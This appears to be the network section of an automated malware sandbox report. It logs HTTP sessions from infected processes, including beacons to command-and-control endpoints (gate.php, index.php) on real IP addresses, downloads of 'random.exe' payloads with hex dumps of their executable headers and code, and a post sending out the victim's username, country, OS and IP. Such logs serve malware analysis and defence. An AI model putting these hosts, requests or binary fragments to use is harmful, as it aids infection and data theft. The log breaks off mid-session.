Dec 14, 2024 14:56:30.972698927 CET	1236	IN	Data Raw: 98 47 93 d8 a3 8f 74 ed 0e fb 0a 21 59 35 56 1f c2 69 6c 77 d3 6b bf e9 3d 1c 0c e2 a3 5c 9e 25 0b fd 55 4a 5d b7 40 d0 44 a0 a1 b4 9d 47 99 28 cc 2c c7 a9 34 d8 be 05 fd bc fe 31 1d 7a dd f1 83 24 95 2b 87 9c 66 b1 f1 e0 7f 44 7a 94 b5 12 58 67 Data Ascii: Gt!Y5Vilwk=\%UJ]@DG(,41z$+fDzXgBmznk}O_nF:`2+M<<6YWaq,nUv:[AtKJPh)T.tP-n4~+l[+SMvv?~[l3
Dec 14, 2024 14:56:31.092417955 CET	1236	IN	Data Raw: 0c 03 36 fe e9 8a 91 35 20 f4 4e b7 a7 58 b0 46 8a be 65 1c f6 da 32 a2 d7 ed a0 b1 8a d5 f6 b6 30 6b c1 1e 4a 50 5a 31 8d 1d fb f8 5d c2 f1 56 7c 1f 1d cc 83 b4 a6 66 cf 1b 67 e7 91 b2 7d 12 f0 cf fc 7c 5e 73 45 5a 9e ae a9 90 f0 10 0b bf d0 01 Data Ascii: 65 NXFe20kJPZ1]V\|fg}\|^sEZ-0NO7/?;qv.MLO>w}%PO{9R9w-#hPV!!,kK)if@~Vfe[H(k_;YMNDKmU~e6[jdumS\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49896	82.64.156.123	80	2200	C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:32.609891891 CET	95	OUT	Data Raw: 16 03 01 00 5a 01 00 00 56 03 01 67 5d 8e 8f a3 18 9b b5 81 65 35 46 eb 83 c4 52 01 8f 7e 88 f8 70 e2 d0 03 f4 5f 75 c0 8e a5 ae 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 1f 00 0a 00 08 00 06 00 1d 00 17 00 18 00 0b 00 02 01 00 Data Ascii: ZVg]e5FR~p_u5/#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49906	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:36.411290884 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:36.531296968 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:38.044846058 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49907	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:36.742016077 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015201001&unit=246122658369
Dec 14, 2024 14:56:38.034971952 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49912	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:38.277131081 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:38.397119999 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:39.747143984 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49913	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:38.309077024 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:56:39.618491888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:39 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 14, 2024 14:56:39.618545055 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:39.618577003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:56:39.618712902 CET	224	IN	Data Raw: 44 00 00 90 69 04 be 95 e9 d1 5b 89 c1 c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 ca 95 e9 d1 5b 31 c1 69 44 be 04 95 e9 d1 5b 89 c2 c1 ea 18 31 c2 69 c2 95 e9 d1 5b 69 d1 95 e9 d1 5b 31 c2 83 c7 02 39 fb 75 bf f6 45 e0 04 74 1d 90 69 3c be 95 e9 d1 5b Data Ascii: Di[1i[i[1iD[1i[i[19uEti<[1i[i[1E1ttu#\|D11i[11i[1;uu$U}D$MJLE
Dec 14, 2024 14:56:39.618760109 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 14, 2024 14:56:39.618797064 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 14, 2024 14:56:39.618830919 CET	448	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 14, 2024 14:56:39.618889093 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 14, 2024 14:56:39.619020939 CET	1236	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}gaUuY]
Dec 14, 2024 14:56:39.619055033 CET	1236	IN	Data Raw: 0c 56 e8 0b fc ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 83 ec 14 56 8b 75 08 ff 34 b5 7c 61 41 00 e8 1f 00 00 00 50 ff 34 b5 98 61 41 00 8d 4d ec e8 02 02 00 00 68 2c d7 41 00 8d 45 ec 50 e8 8d 17 00 00 cc b8 44 e6 41 00 c3 55 8b ec 8b 45 08 8b Data Ascii: VYY^]UVu4\|aAP4aAMh,AEPDAUEUH]UQQVWuupEPAPTYY_^UAVuV;Bu;Eu2^]UQVWy1urAE_^UUVuBN@;Au
Dec 14, 2024 14:56:39.738774061 CET	1236	IN	Data Raw: 75 02 5d c3 50 3d 00 10 00 00 72 07 e8 0a 00 00 00 eb 05 e8 f1 f6 ff ff 59 5d c3 55 8b ec 8b 45 08 8d 48 23 3b c8 0f 86 1f f8 ff ff 51 e8 d7 f6 ff ff 59 8b c8 85 c9 74 0b 8d 41 23 83 e0 e0 89 48 fc 5d c3 e9 9c 53 00 00 83 61 04 00 8b c1 83 61 08 Data Ascii: u]P=rY]UEH#;QYtA#H]SaaAALaAUMu*h AEP}UVu1aA^]UQVuubA^UVubA^]UjhL\AdPQSVWA3P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49917	193.122.130.0	80	7120	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:39.631705999 CET	68	OUT	GET / HTTP/1.1 Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 14:56:40.739897966 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 13:56:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2756c1c475ad789c32af0b7380c6329c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49919	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:39.981307983 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:40.101469040 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:41.696552992 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49915	83.147.52.247	80	7120	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:40.741544962 CET	8	OUT	Data Raw: 7a 00 00 00 00 00 00 00 Data Ascii: z
Dec 14, 2024 14:56:40.861648083 CET	122	OUT	Data Raw: 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 06 01 00 00 00 62 38 34 35 36 37 38 38 34 35 7c 44 65 66 61 75 6c 74 5f 20 7c 20 61 6c 66 6f 6e 73 40 32 33 38 35 37 36 7c 43 48 7c 57 69 6e 64 6f 77 73 20 31 30 20 45 6e 74 65 72 70 72 69 73 65 Data Ascii: b845678845\|Default_ \| user@238576\|CH\|Windows 10 Enterprise\|123 ms\|12/14/2024\|4.0.0.2\|8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49925	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:41.935278893 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:42.056746960 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:43.416125059 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49928	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:43.656131029 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:43.776228905 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:45.163906097 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49930	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:43.972954988 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015202001&unit=246122658369
Dec 14, 2024 14:56:45.228692055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49934	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:45.386215925 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:45.506190062 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:47.165169001 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:46 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49935	185.215.113.16	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:45.723472118 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 14, 2024 14:56:47.165055037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:46 GMT Content-Type: application/octet-stream Content-Length: 965632 Last-Modified: Sat, 14 Dec 2024 13:56:24 GMT Connection: keep-alive ETag: "675d8e88-ebc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 80 8e 5d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL]g"w@ =@@@d\|@HQu4@.text `.rdata@@.datalpH@.rsrcHQ@R@@.relocuvF@B
Dec 14, 2024 14:56:47.165067911 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DY
Dec 14, 2024 14:56:47.165075064 CET	1236	IN	Data Raw: e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 Data Ascii: Ph0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\
Dec 14, 2024 14:56:47.165085077 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Dec 14, 2024 14:56:47.165096045 CET	1236	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Dec 14, 2024 14:56:47.165106058 CET	1236	IN	Data Raw: 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 Data Ascii: OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t
Dec 14, 2024 14:56:47.165119886 CET	1236	IN	Data Raw: 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9Hm
Dec 14, 2024 14:56:47.165129900 CET	1236	IN	Data Raw: c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 8b 06 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 Data Ascii: UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL
Dec 14, 2024 14:56:47.165144920 CET	1236	IN	Data Raw: c9 c2 0c 00 55 8b ec b8 00 00 01 00 e8 9e f1 03 00 56 57 68 ff 7f 00 00 8d 85 00 00 ff ff 8b fa 50 ff 31 ff 15 0c c2 49 00 8b f0 8b cf 8d 85 00 00 ff ff 50 e8 7d 3d 00 00 85 f6 5f 0f 95 c0 5e c9 c3 55 8b ec b8 58 00 01 00 e8 60 f1 03 00 a0 64 13 Data Ascii: UVWhP1IP}=_^UX`dMVuWG~"uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5M
Dec 14, 2024 14:56:47.165155888 CET	1236	IN	Data Raw: 53 56 57 6a 2c 8d 45 c8 c7 45 c4 30 00 00 00 6a 00 50 8b f9 e8 b2 f0 01 00 8b 45 14 83 c4 0c 8b 8f d0 09 00 00 33 f6 89 4d fc 6a 08 5b 6a 01 5a 2d 00 02 00 00 0f 85 eb fb 03 00 6a 40 5e 6a f5 8b cf e8 10 00 00 00 85 77 0c 0f 85 9f fc 03 00 5f 5e Data Ascii: SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^[UVjUYa~uNN^]FHUVE
Dec 14, 2024 14:56:47.245152950 CET	1236	IN	Data Raw: 00 8b ce e8 10 72 00 00 83 c6 10 83 ef 01 75 f1 83 0d 64 23 4d 00 ff b8 90 19 4d 00 5f 5e 66 89 1d 24 1b 4d 00 89 1d 28 1b 4d 00 89 1d 2c 1b 4d 00 88 1d 30 1b 4d 00 89 1d 34 1b 4d 00 89 1d 38 1b 4d 00 88 1d 3c 1b 4d 00 89 1d 40 1b 4d 00 89 1d 60 Data Ascii: rud#MM_^f$M(M,M0M4M8M<M@M`#M[UVujP@#P[^]USVW3Ex}WtKEE33ft0E}PEEf9Et#C_fu}!_^[AU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49943	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:47.401460886 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:56:47.521204948 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:56:49.030798912 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49950	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
